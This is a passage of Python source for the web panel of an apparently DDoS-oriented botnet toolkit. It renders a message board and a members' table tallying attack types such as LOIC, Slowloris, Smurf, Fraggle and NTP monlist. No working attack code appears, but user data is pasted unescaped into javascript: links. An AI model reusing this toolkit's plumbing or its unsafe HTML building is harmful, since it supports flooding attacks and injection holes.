  795. document.getElementById('board_send').style.display = 'block';
  796. document.getElementById('board_warning').style.display = 'block';
  797. document.getElementById('board_read').style.display = 'none';
  798. }
  799. }
  800. function Sync_panel(){
  801. document.getElementById("sync_panel_block").style.display = "block";
  802. }
  803. function SyncBoard(){
  804. document.getElementById('nb1').style.display = 'none';
  805. board_source=document.getElementById("board_source").value
  806. if(board_source == "") {
  807. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  808. return
  809. }else{
  810. params="board_source="+escape(board_source)
  811. runCommandX("cmd_sync_board",params)
  812. setTimeout("location.reload()", 10000)
  813. }
  814. }
  815. </script>
  816. <script language="javascript">
  817. function SendMessage() {
  818. board_source=document.getElementById("board_source_send").value
  819. board_key=document.getElementById("board_key").value
  820. stream_txt=document.getElementById("stream_txt").value
  821. board_selector=document.getElementById("board_selector");
  822. board_topic = board_selector.options[board_selector.selectedIndex].value;
  823. if(board_key == "") {
  824. board_key='"""+str(self.crypto_key)+"""';
  825. }else{
  826. if(stream_txt == "") {
  827. window.alert("You need to enter a message! (~ 1-140 characters)");
  828. return
  829. }else{
  830. if(board_source == "") {
  831. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  832. return
  833. }else{
  834. params="board_source="+escape(board_source)+"&board_key="+escape(board_key)+"&board_topic="+escape(board_topic)+"&stream_txt="+escape(stream_txt)
  835. runCommandX("cmd_send_message_board",params)
  836. setTimeout("location.reload()", 10000)
  837. }
  838. }
  839. }
  840. }
  841. </script>
  842. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  843. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  844. <br>
  845. <center>
  846. <table cellpadding="5" cellspacing="5"><tr>
  847. <td><a href="javascript:alert('Riättth says: """ + self.ranking + """... Welcome to the Crypto-Board!. You can generate new identities every time that you want. But remember that, this can be a dangerous place. Just respect to others to be respected... Keep safe and enjoy it. COPYCAT!.');"><img src='data:image/png;base64,"""+self.board_img+"""'></a></td><td>
  848. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="BoardProfile()">CONFIGURE!</button> """+remove_profile+"""
  849. </td></tr></table></tr></table>
  850. <hr><br>"""+board_panel+"""
  851. """ + self.pages["/footer"]
  852. def generate_grid(self):
  853. with open(self.grid_file) as f:
  854. for line in f:
  855. line = line.strip()
  856. f.close()
  857. mothership_members = 0 # mothership_members stats bonus
  858. unknown_members = 0 # unknown (or non decrypted) mothership members
  859. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NICKNAME:</u></td><td align='center'><u>RANK:</u></td><td align='center'><u>CHARGO:</u></td><td align='center'><u>DORKING:</u></td><td align='center'><u>TRANSF:</u></td><td align='center'><u>MAX.CHARGO:</u></td><td align='center'><u>MISSIONS:</u></td><td align='center'><u>ATTACKS:</u></td><td align='center'><u>LOIC:</u></td><td align='center'><u>LORIS:</u></td><td align='center'><u>UFOSYN:</u></td><td align='center'><u>SPRAY:</u></td><td align='center'><u>SMURF:</u></td><td align='center'><u>XMAS:</u></td><td align='center'><u>NUKE:</u></td><td align='center'><u>TACHYON:</u></td><td align='center'><u>MONLIST:</u></td><td align='center'><u>FRAGGLE:</u></td><td align='center'><u>SNIPER:</u></td><td align='center'><u>UFOACK:</u></td><td align='center'><u>UFORST:</u></td><td align='center'><u>DROPER:</u></td><td align='center'><u>OVERLAP:</u></td><td align='center'><u>PINGER:</u></td><td align='center'><u>UFOUDP:</u></td><td align='center'><u>CONTACT:</u></td></tr>"
  860. for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, fraggle, sniper, ufoack, uforst, droper, overlap, pinger, ufoudp, contact, ID
  861. if grid_msg_sep in m:
  862. version = m.count(grid_msg_sep) # check UFONet stream version (made for compatibility with old motherships)
  863. m = m.split(grid_msg_sep)
  864. mothership_members = mothership_members + 1
  865. grid_nickname = m[0][0:12]
  866. grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12)
  867. grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol)
  868. grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation)
  869. grid_totalchargo = m[2][0:4] # total chargo
  870. grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation)
  871. grid_dorking = m[3][0:4] # dorking
  872. grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation)
  873. grid_transferred = m[4][0:4] # transferred
  874. grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation)
  875. grid_maxchargo = m[5][0:4] # maxchargo
  876. grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation)
  877. grid_missions = m[6][0:4] # missions
  878. grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation)
  879. grid_attacks = m[7][0:4] # attacks
  880. grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation)
  881. grid_loic = m[8][0:4] # loic
  882. grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation)
  883. if version > 18: # v1.5
  884. grid_loris = m[9][0:4] # loris
  885. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  886. grid_ufosyn = m[10][0:4] # ufosyn
  887. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  888. grid_spray = m[11][0:4] # spray
  889. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  890. grid_smurf = m[12][0:4] # smurf
  891. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  892. grid_xmas = m[13][0:4] # xmas
  893. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  894. grid_nuke = m[14][0:4] # nuke
  895. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  896. grid_tachyon = m[15][0:4] # tachyon
  897. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  898. grid_monlist = m[16][0:4] # monlist
  899. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  900. grid_fraggle = m[17][0:4] # fraggle
  901. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  902. grid_sniper = m[18][0:4] # sniper
  903. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  904. grid_ufoack = m[19][0:4] # ufoack
  905. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  906. grid_uforst = m[20][0:4] # uforst
  907. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  908. grid_droper = m[21][0:4] # droper
  909. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  910. grid_overlap = m[22][0:4] # overlap
  911. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  912. grid_pinger = m[23][0:4] # pinger
  913. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  914. grid_ufoudp = m[24][0:4] # ufoudp
  915. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  916. try:
  917. grid_contact = "<a href=javascript:alert('"+str(m[25][0:12])+"');>View</a>" # js contact view (obfuscation)
  918. except:
  919. grid_contact= "invalid"
  920. try:
  921. grid_id = m[26] # id (plain id)
  922. except:
  923. grid_id = "invalid!"
  924. if version == 18: # v1.4
  925. grid_loris = m[9][0:4] # loris
  926. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  927. grid_ufosyn = m[10][0:4] # ufosyn
  928. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  929. grid_spray = m[11][0:4] # spray
  930. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  931. grid_smurf = m[12][0:4] # smurf
  932. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  933. grid_xmas = m[13][0:4] # xmas
  934. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  935. grid_nuke = m[14][0:4] # nuke
  936. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  937. grid_tachyon = m[15][0:4] # tachyon
  938. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  939. grid_monlist = m[16][0:4] # monlist
  940. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  941. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  942. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  943. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  944. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  945. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  946. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  947. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  948. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  949. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  950. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  951. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  952. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  953. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  954. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  955. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  956. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  957. try:
  958. grid_contact = "<a href=javascript:alert('"+str(m[17][0:12])+"');>View</a>" # js contact view (obfuscation)
  959. except:
  960. grid_contact= "invalid"
  961. try:
  962. grid_id = m[18] # id (plain id)
  963. except:
  964. grid_id = "invalid!"
  965. if version == 17: # v1.3
  966. grid_loris = m[9][0:4] # loris
  967. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  968. grid_ufosyn = m[10][0:4] # ufosyn
  969. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  970. grid_spray = m[11][0:4] # spray
  971. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  972. grid_smurf = m[12][0:4] # smurf
  973. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  974. grid_xmas = m[13][0:4] # xmas
  975. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  976. grid_nuke = m[14][0:4] # nuke
  977. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  978. grid_tachyon = m[15][0:4] # tachyon
  979. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  980. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  981. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  982. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  983. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  984. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  985. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  986. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  987. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  988. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  989. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  990. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  991. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  992. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  993. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  994. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  995. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  996. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  997. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  998. try:
  999. grid_contact = "<a href=javascript:alert('"+str(m[16][0:12])+"');>View</a>" # js contact view (obfuscation)
  1000. except:
  1001. grid_contact= "invalid"
  1002. try:
  1003. grid_id = m[17] # id (plain id)
  1004. except:
  1005. grid_id = "invalid!"
  1006. elif version == 16: # v1.2.1
  1007. grid_loris = m[9][0:4] # loris
  1008. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1009. grid_ufosyn = m[10][0:4] # ufosyn
  1010. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1011. grid_spray = m[11][0:4] # spray
  1012. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1013. grid_smurf = m[12][0:4] # smurf
  1014. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1015. grid_xmas = m[13][0:4] # xmas
  1016. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1017. grid_nuke = m[14][0:4] # nuke
  1018. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1019. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1020. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1021. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1022. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1023. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1024. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1025. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1026. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1027. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1028. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1029. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1030. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1031. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1032. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1033. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1034. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1035. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1036. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1037. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1038. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1039. try:
  1040. grid_contact = "<a href=javascript:alert('"+str(m[15][0:12])+"');>View</a>" # js contact view (obfuscation)
  1041. except:
  1042. grid_contact= "invalid"
  1043. try:
  1044. grid_id = m[16] # id (plain id)
  1045. except:
  1046. grid_id = "invalid!"
  1047. elif version == 15: # v1.2
  1048. grid_loris = m[9][0:4] # loris
  1049. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1050. grid_ufosyn = m[10][0:4] # ufosyn
  1051. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1052. grid_spray = m[11][0:4] # spray
  1053. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1054. grid_smurf = m[12][0:4] # smurf
  1055. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1056. grid_xmas = m[13][0:4] # xmas
  1057. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1058. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1059. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1060. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1061. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1062. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1063. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1064. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1065. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1066. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1067. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1068. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1069. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1070. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1071. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1072. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1073. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1074. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1075. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1076. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1077. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1078. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1079. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1080. try:
  1081. grid_contact = "<a href=javascript:alert('"+str(m[14][0:12])+"');>View</a>" # js contact view (obfuscation)
  1082. except:
  1083. grid_contact= "invalid"
  1084. try:
  1085. grid_id = m[15] # id (plain id)
  1086. except:
  1087. grid_id = "invalid!"
  1088. elif version == 12: # v1.1
  1089. grid_loris = m[9][0:4] # loris
  1090. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1091. grid_ufosyn = m[10][0:4] # ufosyn
  1092. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1093. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  1094. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1095. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  1096. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1097. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  1098. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1099. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1100. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1101. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1102. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1103. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1104. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1105. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1106. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1107. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1108. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1109. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1110. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1111. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1112. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1113. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1114. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1115. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1116. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1117. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1118. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1119. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1120. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1121. grid_contact = "<a href=javascript:alert('"+str(m[11][0:12])+"');>View</a>" # js contact view (obfuscation)
  1122. try:
  1123. grid_id = m[12] # id (plain id)
  1124. except:
  1125. grid_id = "invalid!"
  1126. elif version == 11: # v1.0
  1127. grid_loris = m[9][0:4] # loris
  1128. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1129. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  1130. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1131. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  1132. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1133. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  1134. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1135. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  1136. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1137. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1138. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1139. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1140. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1141. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1142. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1143. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1144. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1145. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1146. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1147. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
